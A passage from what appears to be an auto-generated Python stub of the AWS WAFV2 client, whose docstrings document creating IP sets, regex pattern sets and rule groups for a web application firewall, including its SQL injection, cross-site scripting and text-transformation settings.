ManagedRuleGroupStatement .\nSet the override action to none to leave the rule actions in effect. Set it to count to only count matches, regardless of the rule action settings.\nIn a Rule , you must specify either this OverrideAction setting or the rule Action setting, but not both:\n\nIf the rule statement references a rule group, use this override action setting and not the action setting.\nIf the rule statement does not reference a rule group, use the rule action setting and not this rule override action setting.\n\n\nCount (dict) --Override the rule action setting to count.\n\nNone (dict) --Don\'t override the rule action setting.\n\n\n\nVisibilityConfig (dict) -- [REQUIRED]Defines and enables Amazon CloudWatch metrics and web request sample collection.\n\nSampledRequestsEnabled (boolean) -- [REQUIRED]A boolean indicating whether AWS WAF should store a sampling of the web requests that match the rules. You can view the sampled requests through the AWS WAF console.\n\nCloudWatchMetricsEnabled (boolean) -- [REQUIRED]A boolean indicating whether the associated resource sends metrics to CloudWatch. For the list of available metrics, see AWS WAF Metrics .\n\nMetricName (string) -- [REQUIRED]A name of the CloudWatch metric. The name can contain only alphanumeric characters (A-Z, a-z, 0-9), with length from one to 128 characters. It can\'t contain whitespace or metric names reserved for AWS WAF, for example 'All' and 'Default_Action.' You can\'t change a MetricName after you create a VisibilityConfig .\n\n\n\n\n\n\n :rtype: dict ReturnsResponse Syntax { 'Capacity': 123 } Response Structure (dict) -- Capacity (integer) -- The capacity required by the rules and scope. Exceptions WAFV2.Client.exceptions.WAFInternalErrorException WAFV2.Client.exceptions.WAFInvalidParameterException WAFV2.Client.exceptions.WAFNonexistentItemException WAFV2.Client.exceptions.WAFLimitsExceededException WAFV2.Client.exceptions.WAFInvalidResourceException WAFV2.Client.exceptions.WAFUnavailableEntityException WAFV2.Client.exceptions.WAFSubscriptionNotFoundException :return: { 'Capacity': 123 } :returns: WAFV2.Client.exceptions.WAFInternalErrorException WAFV2.Client.exceptions.WAFInvalidParameterException WAFV2.Client.exceptions.WAFNonexistentItemException WAFV2.Client.exceptions.WAFLimitsExceededException WAFV2.Client.exceptions.WAFInvalidResourceException WAFV2.Client.exceptions.WAFUnavailableEntityException WAFV2.Client.exceptions.WAFSubscriptionNotFoundException """ pass def create_ip_set(Name=None, Scope=None, Description=None, IPAddressVersion=None, Addresses=None, Tags=None): """ Creates an IPSet , which you use to identify web requests that originate from specific IP addresses or ranges of IP addresses. For example, if you\'re receiving a lot of requests from a ranges of IP addresses, you can configure AWS WAF to block them using an IPSet that lists those IP addresses. See also: AWS API Documentation Exceptions :example: response = client.create_ip_set( Name='string', Scope='CLOUDFRONT'|'REGIONAL', Description='string', IPAddressVersion='IPV4'|'IPV6', Addresses=[ 'string', ], Tags=[ { 'Key': 'string', 'Value': 'string' }, ] ) :type Name: string :param Name: [REQUIRED]\nThe name of the IP set. You cannot change the name of an IPSet after you create it.\n :type Scope: string :param Scope: [REQUIRED]\nSpecifies whether this is for an AWS CloudFront distribution or for a regional application. A regional application can be an Application Load Balancer (ALB) or an API Gateway stage.\nTo work with CloudFront, you must also specify the Region US East (N. Virginia) as follows:\n\nCLI - Specify the Region when you use the CloudFront scope: --scope=CLOUDFRONT --region=us-east-1 .\nAPI and SDKs - For all calls, use the Region endpoint us-east-1.\n\n :type Description: string :param Description: A description of the IP set that helps with identification. You cannot change the description of an IP set after you create it. :type IPAddressVersion: string :param IPAddressVersion: [REQUIRED]\nSpecify IPV4 or IPV6.\n :type Addresses: list :param Addresses: [REQUIRED]\nContains an array of strings that specify one or more IP addresses or blocks of IP addresses in Classless Inter-Domain Routing (CIDR) notation. AWS WAF supports all address ranges for IP versions IPv4 and IPv6.\nExamples:\n\nTo configure AWS WAF to allow, block, or count requests that originated from the IP address 192.0.2.44, specify 192.0.2.44/32 .\nTo configure AWS WAF to allow, block, or count requests that originated from IP addresses from 192.0.2.0 to 192.0.2.255, specify 192.0.2.0/24 .\nTo configure AWS WAF to allow, block, or count requests that originated from the IP address 1111:0000:0000:0000:0000:0000:0000:0111, specify 1111:0000:0000:0000:0000:0000:0000:0111/128 .\nTo configure AWS WAF to allow, block, or count requests that originated from IP addresses 1111:0000:0000:0000:0000:0000:0000:0000 to 1111:0000:0000:0000:ffff:ffff:ffff:ffff, specify 1111:0000:0000:0000:0000:0000:0000:0000/64 .\n\nFor more information about CIDR notation, see the Wikipedia entry Classless Inter-Domain Routing .\n\n(string) --\n\n :type Tags: list :param Tags: An array of key:value pairs to associate with the resource.\n\n(dict) --\nNote\nThis is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide .\n\nA collection of key:value pairs associated with an AWS resource. The key:value pair can be anything you define. Typically, the tag key represents a category (such as 'environment') and the tag value represents a specific value within that category (such as 'test,' 'development,' or 'production'). You can add up to 50 tags to each AWS resource.\n\nKey (string) -- [REQUIRED]Part of the key:value pair that defines a tag. You can use a tag key to describe a category of information, such as 'customer.' Tag keys are case-sensitive.\n\nValue (string) -- [REQUIRED]Part of the key:value pair that defines a tag. You can use a tag value to describe a specific value within a category, such as 'companyA' or 'companyB.' Tag values are case-sensitive.\n\n\n\n\n :rtype: dict ReturnsResponse Syntax { 'Summary': { 'Name': 'string', 'Id': 'string', 'Description': 'string', 'LockToken': 'string', 'ARN': 'string' } } Response Structure (dict) -- Summary (dict) -- High-level information about an IPSet , returned by operations like create and list. This provides information like the ID, that you can use to retrieve and manage an IPSet , and the ARN, that you provide to the IPSetReferenceStatement to use the address set in a Rule . Name (string) -- The name of the IP set. You cannot change the name of an IPSet after you create it. Id (string) -- A unique identifier for the set. This ID is returned in the responses to create and list commands. You provide it to operations like update and delete. Description (string) -- A description of the IP set that helps with identification. You cannot change the description of an IP set after you create it. LockToken (string) -- A token used for optimistic locking. AWS WAF returns a token to your get and list requests, to mark the state of the entity at the time of the request. To make changes to the entity associated with the token, you provide the token to operations like update and delete. AWS WAF uses the token to ensure that no changes have been made to the entity since you last retrieved it. If a change has been made, the update fails with a WAFOptimisticLockException . If this happens, perform another get, and use the new token returned by that operation. ARN (string) -- The Amazon Resource Name (ARN) of the entity. Exceptions WAFV2.Client.exceptions.WAFInternalErrorException WAFV2.Client.exceptions.WAFInvalidParameterException WAFV2.Client.exceptions.WAFDuplicateItemException WAFV2.Client.exceptions.WAFOptimisticLockException WAFV2.Client.exceptions.WAFLimitsExceededException WAFV2.Client.exceptions.WAFTagOperationException WAFV2.Client.exceptions.WAFTagOperationInternalErrorException WAFV2.Client.exceptions.WAFInvalidOperationException :return: { 'Summary': { 'Name': 'string', 'Id': 'string', 'Description': 'string', 'LockToken': 'string', 'ARN': 'string' } } :returns: WAFV2.Client.exceptions.WAFInternalErrorException WAFV2.Client.exceptions.WAFInvalidParameterException WAFV2.Client.exceptions.WAFDuplicateItemException WAFV2.Client.exceptions.WAFOptimisticLockException WAFV2.Client.exceptions.WAFLimitsExceededException WAFV2.Client.exceptions.WAFTagOperationException WAFV2.Client.exceptions.WAFTagOperationInternalErrorException WAFV2.Client.exceptions.WAFInvalidOperationException """ pass def create_regex_pattern_set(Name=None, Scope=None, Description=None, RegularExpressionList=None, Tags=None): """ Creates a RegexPatternSet , which you reference in a RegexPatternSetReferenceStatement , to have AWS WAF inspect a web request component for the specified patterns. See also: AWS API Documentation Exceptions :example: response = client.create_regex_pattern_set( Name='string', Scope='CLOUDFRONT'|'REGIONAL', Description='string', RegularExpressionList=[ { 'RegexString': 'string' }, ], Tags=[ { 'Key': 'string', 'Value': 'string' }, ] ) :type Name: string :param Name: [REQUIRED]\nThe name of the set. You cannot change the name after you create the set.\n :type Scope: string :param Scope: [REQUIRED]\nSpecifies whether this is for an AWS CloudFront distribution or for a regional application. A regional application can be an Application Load Balancer (ALB) or an API Gateway stage.\nTo work with CloudFront, you must also specify the Region US East (N. Virginia) as follows:\n\nCLI - Specify the Region when you use the CloudFront scope: --scope=CLOUDFRONT --region=us-east-1 .\nAPI and SDKs - For all calls, use the Region endpoint us-east-1.\n\n :type Description: string :param Description: A description of the set that helps with identification. You cannot change the description of a set after you create it. :type RegularExpressionList: list :param RegularExpressionList: [REQUIRED]\nArray of regular expression strings.\n\n(dict) --\nNote\nThis is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide .\n\nA single regular expression. This is used in a RegexPatternSet .\n\nRegexString (string) --The string representing the regular expression.\n\n\n\n\n :type Tags: list :param Tags: An array of key:value pairs to associate with the resource.\n\n(dict) --\nNote\nThis is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide .\n\nA collection of key:value pairs associated with an AWS resource. The key:value pair can be anything you define. Typically, the tag key represents a category (such as 'environment') and the tag value represents a specific value within that category (such as 'test,' 'development,' or 'production'). You can add up to 50 tags to each AWS resource.\n\nKey (string) -- [REQUIRED]Part of the key:value pair that defines a tag. You can use a tag key to describe a category of information, such as 'customer.' Tag keys are case-sensitive.\n\nValue (string) -- [REQUIRED]Part of the key:value pair that defines a tag. You can use a tag value to describe a specific value within a category, such as 'companyA' or 'companyB.' Tag values are case-sensitive.\n\n\n\n\n :rtype: dict ReturnsResponse Syntax { 'Summary': { 'Name': 'string', 'Id': 'string', 'Description': 'string', 'LockToken': 'string', 'ARN': 'string' } } Response Structure (dict) -- Summary (dict) -- High-level information about a RegexPatternSet , returned by operations like create and list. This provides information like the ID, that you can use to retrieve and manage a RegexPatternSet , and the ARN, that you provide to the RegexPatternSetReferenceStatement to use the pattern set in a Rule . Name (string) -- The name of the data type instance. You cannot change the name after you create the instance. Id (string) -- A unique identifier for the set. This ID is returned in the responses to create and list commands. You provide it to operations like update and delete. Description (string) -- A description of the set that helps with identification. You cannot change the description of a set after you create it. LockToken (string) -- A token used for optimistic locking. AWS WAF returns a token to your get and list requests, to mark the state of the entity at the time of the request. To make changes to the entity associated with the token, you provide the token to operations like update and delete. AWS WAF uses the token to ensure that no changes have been made to the entity since you last retrieved it. If a change has been made, the update fails with a WAFOptimisticLockException . If this happens, perform another get, and use the new token returned by that operation. ARN (string) -- The Amazon Resource Name (ARN) of the entity. Exceptions WAFV2.Client.exceptions.WAFInternalErrorException WAFV2.Client.exceptions.WAFInvalidParameterException WAFV2.Client.exceptions.WAFDuplicateItemException WAFV2.Client.exceptions.WAFOptimisticLockException WAFV2.Client.exceptions.WAFLimitsExceededException WAFV2.Client.exceptions.WAFTagOperationException WAFV2.Client.exceptions.WAFTagOperationInternalErrorException WAFV2.Client.exceptions.WAFInvalidOperationException :return: { 'Summary': { 'Name': 'string', 'Id': 'string', 'Description': 'string', 'LockToken': 'string', 'ARN': 'string' } } :returns: WAFV2.Client.exceptions.WAFInternalErrorException WAFV2.Client.exceptions.WAFInvalidParameterException WAFV2.Client.exceptions.WAFDuplicateItemException WAFV2.Client.exceptions.WAFOptimisticLockException WAFV2.Client.exceptions.WAFLimitsExceededException WAFV2.Client.exceptions.WAFTagOperationException WAFV2.Client.exceptions.WAFTagOperationInternalErrorException WAFV2.Client.exceptions.WAFInvalidOperationException """ pass def create_rule_group(Name=None, Scope=None, Capacity=None, Description=None, Rules=None, VisibilityConfig=None, Tags=None): """ Creates a RuleGroup per the specifications provided. A rule group defines a collection of rules to inspect and control web requests that you can use in a WebACL . When you create a rule group, you define an immutable capacity limit. If you update a rule group, you must stay within the capacity. This allows others to reuse the rule group with confidence in its capacity requirements. See also: AWS API Documentation Exceptions :example: response = client.create_rule_group( Name='string', Scope='CLOUDFRONT'|'REGIONAL', Capacity=123, Description='string', Rules=[ { 'Name': 'string', 'Priority': 123, 'Statement': { 'ByteMatchStatement': { 'SearchString': b'bytes', 'FieldToMatch': { 'SingleHeader': { 'Name': 'string' }, 'SingleQueryArgument': { 'Name': 'string' }, 'AllQueryArguments': {} , 'UriPath': {} , 'QueryString': {} , 'Body': {} , 'Method': {} }, 'TextTransformations': [ { 'Priority': 123, 'Type': 'NONE'|'COMPRESS_WHITE_SPACE'|'HTML_ENTITY_DECODE'|'LOWERCASE'|'CMD_LINE'|'URL_DECODE' }, ], 'PositionalConstraint': 'EXACTLY'|'STARTS_WITH'|'ENDS_WITH'|'CONTAINS'|'CONTAINS_WORD' }, 'SqliMatchStatement': { 'FieldToMatch': { 'SingleHeader': { 'Name': 'string' }, 'SingleQueryArgument': { 'Name': 'string' }, 'AllQueryArguments': {} , 'UriPath': {} , 'QueryString': {} , 'Body': {} , 'Method': {} }, 'TextTransformations': [ { 'Priority': 123, 'Type': 'NONE'|'COMPRESS_WHITE_SPACE'|'HTML_ENTITY_DECODE'|'LOWERCASE'|'CMD_LINE'|'URL_DECODE' }, ] }, 'XssMatchStatement': { 'FieldToMatch': { 'SingleHeader': { 'Name': 'string' }, 'SingleQueryArgument': { 'Name': 'string' }, 'AllQueryArguments': {} , 'UriPath': {} , 'QueryString': {} , 'Body': {} , 'Method': {} }, 'TextTransformations': [ { 'Priority': 123, 'Type': 'NONE'|'COMPRESS_WHITE_SPACE'|'HTML_ENTITY_DECODE'|'LOWERCASE'|'CMD_LINE'|'URL_DECODE' }, ] }, 'SizeConstraintStatement': { 'FieldToMatch': { 'SingleHeader': { 'Name': 'string' }, 'SingleQueryArgument': { 'Name': 'string' }, 'AllQueryArguments': {} , 'UriPath': {} , 'QueryString': {} , 'Body': {} , 'Method': {} }, 'ComparisonOperator': 'EQ'|'NE'|'LE'|'LT'|'GE'|'GT', 'Size': 123, 'TextTransformations': [ { 'Priority': 123, 'Type': 'NONE'|'COMPRESS_WHITE_SPACE'|'HTML_ENTITY_DECODE'|'LOWERCASE'|'CMD_LINE'|'URL_DECODE' }, ] }, 'GeoMatchStatement': { 'CountryCodes': [ 'AF'|'AX'|'AL'|'DZ'|'AS'|'AD'|'AO'|'AI'|'AQ'|'AG'|'AR'|'AM'|'AW'|'AU'|'AT'|'AZ'|'BS'|'BH'|'BD'|'BB'|'BY'|'BE'|'BZ'|'BJ'|'BM'|'BT'|'BO'|'BQ'|'BA'|'BW'|'BV'|'BR'|'IO'|'BN'|'BG'|'BF'|'BI'|'KH'|'CM'|'CA'|'CV'|'KY'|'CF'|'TD'|'CL'|'CN'|'CX'|'CC'|'CO'|'KM'|'CG'|'CD'|'CK'|'CR'|'CI'|'HR'|'CU'|'CW'|'CY'|'CZ'|'DK'|'DJ'|'DM'|'DO'|'EC'|'EG'|'SV'|'GQ'|'ER'|'EE'|'ET'|'FK'|'FO'|'FJ'|'FI'|'FR'|'GF'|'PF'|'TF'|'GA'|'GM'|'GE'|'DE'|'GH'|'GI'|'GR'|'GL'|'GD'|'GP'|'GU'|'GT'|'GG'|'GN'|'GW'|'GY'|'HT'|'HM'|'VA'|'HN'|'HK'|'HU'|'IS'|'IN'|'ID'|'IR'|'IQ'|'IE'|'IM'|'IL'|'IT'|'JM'|'JP'|'JE'|'JO'|'KZ'|'KE'|'KI'|'KP'|'KR'|'KW'|'KG'|'LA'|'LV'|'LB'|'LS'|'LR'|'LY'|'LI'|'LT'|'LU'|'MO'|'MK'|'MG'|'MW'|'MY'|'MV'|'ML'|'MT'|'MH'|'MQ'|'MR'|'MU'|'YT'|'MX'|'FM'|'MD'|'MC'|'MN'|'ME'|'MS'|'MA'|'MZ'|'MM'|'NA'|'NR'|'NP'|'NL'|'NC'|'NZ'|'NI'|'NE'|'NG'|'NU'|'NF'|'MP'|'NO'|'OM'|'PK'|'PW'|'PS'|'PA'|'PG'|'PY'|'PE'|'PH'|'PN'|'PL'|'PT'|'PR'|'QA'|'RE'|'RO'|'RU'|'RW'|'BL'|'SH'|'KN'|'LC'|'MF'|'PM'|'VC'|'WS'|'SM'|'ST'|'SA'|'SN'|'RS'|'SC'|'SL'|'SG'|'SX'|'SK'|'SI'|'SB'|'SO'|'ZA'|'GS'|'SS'|'ES'|'LK'|'SD'|'SR'|'SJ'|'SZ'|'SE'|'CH'|'SY'|'TW'|'TJ'|'TZ'|'TH'|'TL'|'TG'|'TK'|'TO'|'TT'|'TN'|'TR'|'TM'|'TC'|'TV'|'UG'|'UA'|'AE'|'GB'|'US'|'UM'|'UY'|'UZ'|'VU'|'VE'|'VN'|'VG'|'VI'|'WF'|'EH'|'YE'|'ZM'|'ZW', ] }, 'RuleGroupReferenceStatement': { 'ARN': 'string', 'ExcludedRules': [ { 'Name': 'string' }, ] }, 'IPSetReferenceStatement': { 'ARN': 'string' }, 'RegexPatternSetReferenceStatement': { 'ARN': 'string', 'FieldToMatch': { 'SingleHeader': { 'Name': 'string' }, 'SingleQueryArgument': { 'Name': 'string' }, 'AllQueryArguments': {} , 'UriPath': {} , 'QueryString': {} , 'Body': {} , 'Method': {} }, 'TextTransformations': [ { 'Priority': 123, 'Type': 'NONE'|'COMPRESS_WHITE_SPACE'|'HTML_ENTITY_DECODE'|'LOWERCASE'|'CMD_LINE'|'URL_DECODE' }, ] }, 'RateBasedStatement': { 'Limit': 123, 'AggregateKeyType': 'IP', 'ScopeDownStatement': {'... recursive ...'} }, 'AndStatement': { 'Statements': [ {'... recursive ...'}, ] }, 'OrStatement': { 'Statements': [ {'... recursive ...'}, ] }, 'NotStatement': { 'Statement': {'... recursive ...'} }, 'ManagedRuleGroupStatement': { 'VendorName': 'string', 'Name': 'string', 'ExcludedRules': [ { 'Name': 'string' }, ] } }, 'Action': { 'Block': {} , 'Allow': {} , 'Count': {} }, 'OverrideAction': { 'Count': {} , 'None': {} }, 'VisibilityConfig': { 'SampledRequestsEnabled': True|False, 'CloudWatchMetricsEnabled': True|False, 'MetricName': 'string' } }, ], VisibilityConfig={ 'SampledRequestsEnabled': True|False, 'CloudWatchMetricsEnabled': True|False, 'MetricName': 'string' }, Tags=[ { 'Key': 'string', 'Value': 'string' }, ] ) :type Name: string :param Name: [REQUIRED]\nThe name of the rule group. You cannot change the name of a rule group after you create it.\n :type Scope: string :param Scope: [REQUIRED]\nSpecifies whether this is for an AWS CloudFront distribution or for a regional application. A regional application can be an Application Load Balancer (ALB) or an API Gateway stage.\nTo work with CloudFront, you must also specify the Region US East (N. Virginia) as follows:\n\nCLI - Specify the Region when you use the CloudFront scope: --scope=CLOUDFRONT --region=us-east-1 .\nAPI and SDKs - For all calls, use the Region endpoint us-east-1.\n\n :type Capacity: integer :param Capacity: [REQUIRED]\nThe web ACL capacity units (WCUs) required for this rule group.\nWhen you create your own rule group, you define this, and you cannot change it after creation. When you add or modify the rules in a rule group, AWS WAF enforces this limit. You can check the capacity for a set of rules using CheckCapacity .\nAWS WAF uses WCUs to calculate and control the operating resources that are used to run your rules, rule groups, and web ACLs. AWS WAF calculates capacity differently for each rule type, to reflect the relative cost of each rule. Simple rules that cost little to run use fewer WCUs than more complex rules that use more processing power. Rule group capacity is fixed at creation, which helps users plan their web ACL WCU usage when they use a rule group. The WCU limit for web ACLs is 1,500.\n :type Description: string :param Description: A description of the rule group that helps with identification. You cannot change the description of a rule group after you create it. :type Rules: list :param Rules: The Rule statements used to identify the web requests that you want to allow, block, or count. Each rule includes one top-level statement that AWS WAF uses to identify matching web requests, and parameters that govern how AWS WAF handles them.\n\n(dict) --\nNote\nThis is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide .\n\nA single rule, which you can use in a WebACL or RuleGroup to identify web requests that you want to allow, block, or count. Each rule includes one top-level Statement that AWS WAF uses to identify matching web requests, and parameters that govern how AWS WAF handles them.\n\nName (string) -- [REQUIRED]The name of the rule. You can\'t change the name of a Rule after you create it.\n\nPriority (integer) -- [REQUIRED]If you define more than one Rule in a WebACL , AWS WAF evaluates each request against the Rules in order based on the value of Priority . AWS WAF processes rules with lower priority first. The priorities don\'t need to be consecutive, but they must all be different.\n\nStatement (dict) -- [REQUIRED]The AWS WAF processing statement for the rule, for example ByteMatchStatement or SizeConstraintStatement .\n\nByteMatchStatement (dict) --A rule statement that defines a string match search for AWS WAF to apply to web requests. The byte match statement provides the bytes to search for, the location in requests that you want AWS WAF to search, and other settings. The bytes to search for are typically a string that corresponds with ASCII characters. In the AWS WAF console and the developer guide, this is refered to as a string match statement.\n\nSearchString (bytes) -- [REQUIRED]A string value that you want AWS WAF to search for. AWS WAF searches only in the part of web requests that you designate for inspection in FieldToMatch . The maximum length of the value is 50 bytes.\nValid values depend on the component that you specify for inspection in FieldToMatch :\n\nMethod : The HTTP method that you want AWS WAF to search for. This indicates the type of operation specified in the request.\nUriPath : The value that you want AWS WAF to search for in the URI path, for example, /images/daily-ad.jpg .\n\nIf SearchString includes alphabetic characters A-Z and a-z, note that the value is case sensitive.\n\nIf you\'re using the AWS WAF API\nSpecify a base64-encoded version of the value. The maximum length of the value before you base64-encode it is 50 bytes.\nFor example, suppose the value of Type is HEADER and the value of Data is User-Agent . If you want to search the User-Agent header for the value BadBot , you base64-encode BadBot using MIME base64-encoding and include the resulting value, QmFkQm90 , in the value of SearchString .\n\nIf you\'re using the AWS CLI or one of the AWS SDKs\nThe value that you want AWS WAF to search for. The SDK automatically base64 encodes the value.\n\nFieldToMatch (dict) -- [REQUIRED]The part of a web request that you want AWS WAF to inspect. For more information, see FieldToMatch .\n\nSingleHeader (dict) --Inspect a single header. Provide the name of the header to inspect, for example, User-Agent or Referer . This setting isn\'t case sensitive.\n\nName (string) -- [REQUIRED]The name of the query header to inspect.\n\n\n\nSingleQueryArgument (dict) --Inspect a single query argument. Provide the name of the query argument to inspect, such as UserName or SalesRegion . The name can be up to 30 characters long and isn\'t case sensitive.\nThis is used only to indicate the web request component for AWS WAF to inspect, in the FieldToMatch specification.\n\nName (string) -- [REQUIRED]The name of the query argument to inspect.\n\n\n\nAllQueryArguments (dict) --Inspect all query arguments.\n\nUriPath (dict) --Inspect the request URI path. This is the part of a web request that identifies a resource, for example, /images/daily-ad.jpg .\n\nQueryString (dict) --Inspect the query string. This is the part of a URL that appears after a ? character, if any.\n\nBody (dict) --Inspect the request body, which immediately follows the request headers. This is the part of a request that contains any additional data that you want to send to your web server as the HTTP request body, such as data from a form.\nNote that only the first 8 KB (8192 bytes) of the request body are forwarded to AWS WAF for inspection by the underlying host service. If you don\'t need to inspect more than 8 KB, you can guarantee that you don\'t allow additional bytes in by combining a statement that inspects the body of the web request, such as ByteMatchStatement or RegexPatternSetReferenceStatement , with a SizeConstraintStatement that enforces an 8 KB size limit on the body of the request. AWS WAF doesn\'t support inspecting the entire contents of web requests whose bodies exceed the 8 KB limit.\n\nMethod (dict) --Inspect the HTTP method. The method indicates the type of operation that the request is asking the origin to perform.\n\n\n\nTextTransformations (list) -- [REQUIRED]Text transformations eliminate some of the unusual formatting that attackers use in web requests in an effort to bypass detection. If you specify one or more transformations in a rule statement, AWS WAF performs all transformations on the content of the request component identified by FieldToMatch , starting from the lowest priority setting, before inspecting the content for a match.\n\n(dict) --\nNote\nThis is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide .\n\nText transformations eliminate some of the unusual formatting that attackers use in web requests in an effort to bypass detection.\n\nPriority (integer) -- [REQUIRED]Sets the relative processing order for multiple transformations that are defined for a rule statement. AWS WAF processes all transformations, from lowest priority to highest, before inspecting the transformed content. The priorities don\'t need to be consecutive, but they must all be different.\n\nType (string) -- [REQUIRED]You can specify the following transformation types:\n\nCMD_LINE\nWhen you\'re concerned that attackers are injecting an operating system command line command and using unusual formatting to disguise some or all of the command, use this option to perform the following transformations:\n\nDelete the following characters: ' \' ^\nDelete spaces before the following characters: / (\nReplace the following characters with a space: , ;\nReplace multiple spaces with one space\nConvert uppercase letters (A-Z) to lowercase (a-z)\n\n\nCOMPRESS_WHITE_SPACE\nUse this option to replace the following characters with a space character (decimal 32):\n\nf, formfeed, decimal 12\nt, tab, decimal 9\nn, newline, decimal 10\nr, carriage return, decimal 13\nv, vertical tab, decimal 11\nnon-breaking space, decimal 160\n\n\nCOMPRESS_WHITE_SPACE also replaces multiple spaces with one space.HTML_ENTITY_DECODE\n\nUse this option to replace HTML-encoded characters with unencoded characters. HTML_ENTITY_DECODE performs the following operations:\n\nReplaces (ampersand)quot; with '\nReplaces (ampersand)nbsp; with a non-breaking space, decimal 160\nReplaces (ampersand)lt; with a 'less than' symbol\nReplaces (ampersand)gt; with >\nReplaces characters that are represented in hexadecimal format, (ampersand)#xhhhh; , with the corresponding characters\nReplaces characters that are represented in decimal format, (ampersand)#nnnn; , with the corresponding characters\n\n\nLOWERCASE\nUse this option to convert uppercase letters (A-Z) to lowercase (a-z).\n\nURL_DECODE\nUse this option to decode a URL-encoded value.\n\nNONE\nSpecify NONE if you don\'t want any text transformations.\n\n\n\n\n\nPositionalConstraint (string) -- [REQUIRED]The area within the portion of a web request that you want AWS WAF to search for SearchString . Valid values include the following:\n\nCONTAINS\nThe specified part of the web request must include the value of SearchString , but the location doesn\'t matter.\n\nCONTAINS_WORD\nThe specified part of the web request must include the value of SearchString , and SearchString must contain only alphanumeric characters or underscore (A-Z, a-z, 0-9, or _). In addition, SearchString must be a word, which means that both of the following are true:\n\nSearchString is at the beginning of the specified part of the web request or is preceded by a character other than an alphanumeric character or underscore (_). Examples include the value of a header and ;BadBot .\nSearchString is at the end of the specified part of the web request or is followed by a character other than an alphanumeric character or underscore (_), for example, BadBot; and -BadBot; .\n\n\nEXACTLY\nThe value of the specified part of the web request must exactly match the value of SearchString .\n\nSTARTS_WITH\nThe value of SearchString must appear at the beginning of the specified part of the web request.\n\nENDS_WITH\nThe value of SearchString must appear at the end of the specified part of the web request.\n\n\n\nSqliMatchStatement (dict) --Attackers sometimes insert malicious SQL code into web requests in an effort to extract data from your database. To allow or block web requests that appear to contain malicious SQL code, create one or more SQL injection match conditions. An SQL injection match condition identifies the part of web requests, such as the URI or the query string, that you want AWS WAF to inspect. Later in the process, when you create a web ACL, you specify whether to allow or block requests that appear to contain malicious SQL code.\n\nFieldToMatch (dict) -- [REQUIRED]The part of a web request that you want AWS WAF to inspect. For more information, see FieldToMatch .\n\nSingleHeader (dict) --Inspect a single header. Provide the name of the header to inspect, for example, User-Agent or Referer . This setting isn\'t case sensitive.\n\nName (string) -- [REQUIRED]The name of the query header to inspect.\n\n\n\nSingleQueryArgument (dict) --Inspect a single query argument. Provide the name of the query argument to inspect, such as UserName or SalesRegion . The name can be up to 30 characters long and isn\'t case sensitive.\nThis is used only to indicate the web request component for AWS WAF to inspect, in the FieldToMatch specification.\n\nName (string) -- [REQUIRED]The name of the query argument to inspect.\n\n\n\nAllQueryArguments (dict) --Inspect all query arguments.\n\nUriPath (dict) --Inspect the request URI path. This is the part of a web request that identifies a resource, for example, /images/daily-ad.jpg .\n\nQueryString (dict) --Inspect the query string. This is the part of a URL that appears after a ? character, if any.\n\nBody (dict) --Inspect the request body, which immediately follows the request headers. This is the part of a request that contains any additional data that you want to send to your web server as the HTTP request body, such as data from a form.\nNote that only the first 8 KB (8192 bytes) of the request body are forwarded to AWS WAF for inspection by the underlying host service. If you don\'t need to inspect more than 8 KB, you can guarantee that you don\'t allow additional bytes in by combining a statement that inspects the body of the web request, such as ByteMatchStatement or RegexPatternSetReferenceStatement , with a SizeConstraintStatement that enforces an 8 KB size limit on the body of the request. AWS WAF doesn\'t support inspecting the entire contents of web requests whose bodies exceed the 8 KB limit.\n\nMethod (dict) --Inspect the HTTP method. The method indicates the type of operation that the request is asking the origin to perform.\n\n\n\nTextTransformations (list) -- [REQUIRED]Text transformations eliminate some of the unusual formatting that attackers use in web requests in an effort to bypass detection. If you specify one or more transformations in a rule statement, AWS WAF performs all transformations on the content of the request component identified by FieldToMatch , starting from the lowest priority setting, before inspecting the content for a match.\n\n(dict) --\nNote\nThis is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide .\n\nText transformations eliminate some of the unusual formatting that attackers use in web requests in an effort to bypass detection.\n\nPriority (integer) -- [REQUIRED]Sets the relative processing order for multiple transformations that are defined for a rule statement. AWS WAF processes all transformations, from lowest priority to highest, before inspecting the transformed content. The priorities don\'t need to be consecutive, but they must all be different.\n\nType (string) -- [REQUIRED]You can specify the following transformation types:\n\nCMD_LINE\nWhen you\'re concerned that attackers are injecting an operating system command line command and using unusual formatting to disguise some or all of the command, use this option to perform the following transformations:\n\nDelete the following characters: ' \' ^\nDelete spaces before the following characters: / (\nReplace the following characters with a space: , ;\nReplace multiple spaces with one space\nConvert uppercase letters (A-Z) to lowercase (a-z)\n\n\nCOMPRESS_WHITE_SPACE\nUse this option to replace the following characters with a space character (decimal 32):\n\nf, formfeed, decimal 12\nt, tab, decimal 9\nn, newline, decimal 10\nr, carriage return, decimal 13\nv, vertical tab, decimal 11\nnon-breaking space, decimal 160\n\n\nCOMPRESS_WHITE_SPACE also replaces multiple spaces with one space.HTML_ENTITY_DECODE\n\nUse this option to replace HTML-encoded characters with unencoded characters. HTML_ENTITY_DECODE performs the following operations:\n\nReplaces (ampersand)quot; with '\nReplaces (ampersand)nbsp; with a non-breaking space, decimal 160\nReplaces (ampersand)lt; with a 'less than' symbol\nReplaces (ampersand)gt; with >\nReplaces characters that are represented in hexadecimal format, (ampersand)#xhhhh; , with the corresponding characters\nReplaces characters that are represented in decimal format, (ampersand)#nnnn; , with the corresponding characters\n\n\nLOWERCASE\nUse this option to convert uppercase letters (A-Z) to lowercase (a-z).\n\nURL_DECODE\nUse this option to decode a URL-encoded value.\n\nNONE\nSpecify NONE if you don\'t want any text transformations.\n\n\n\n\n\n\n\nXssMatchStatement (dict) --A rule statement that defines a cross-site scripting (XSS) match search for AWS WAF to apply to web requests. XSS attacks are those where the attacker uses vulnerabilities in a benign website as a vehicle to inject malicious client-site scripts into other legitimate web browsers. The XSS match statement provides the location in requests that you want AWS WAF to search and text transformations to use on the search area before AWS WAF searches for character sequences that are likely to be malicious strings.\n\nFieldToMatch 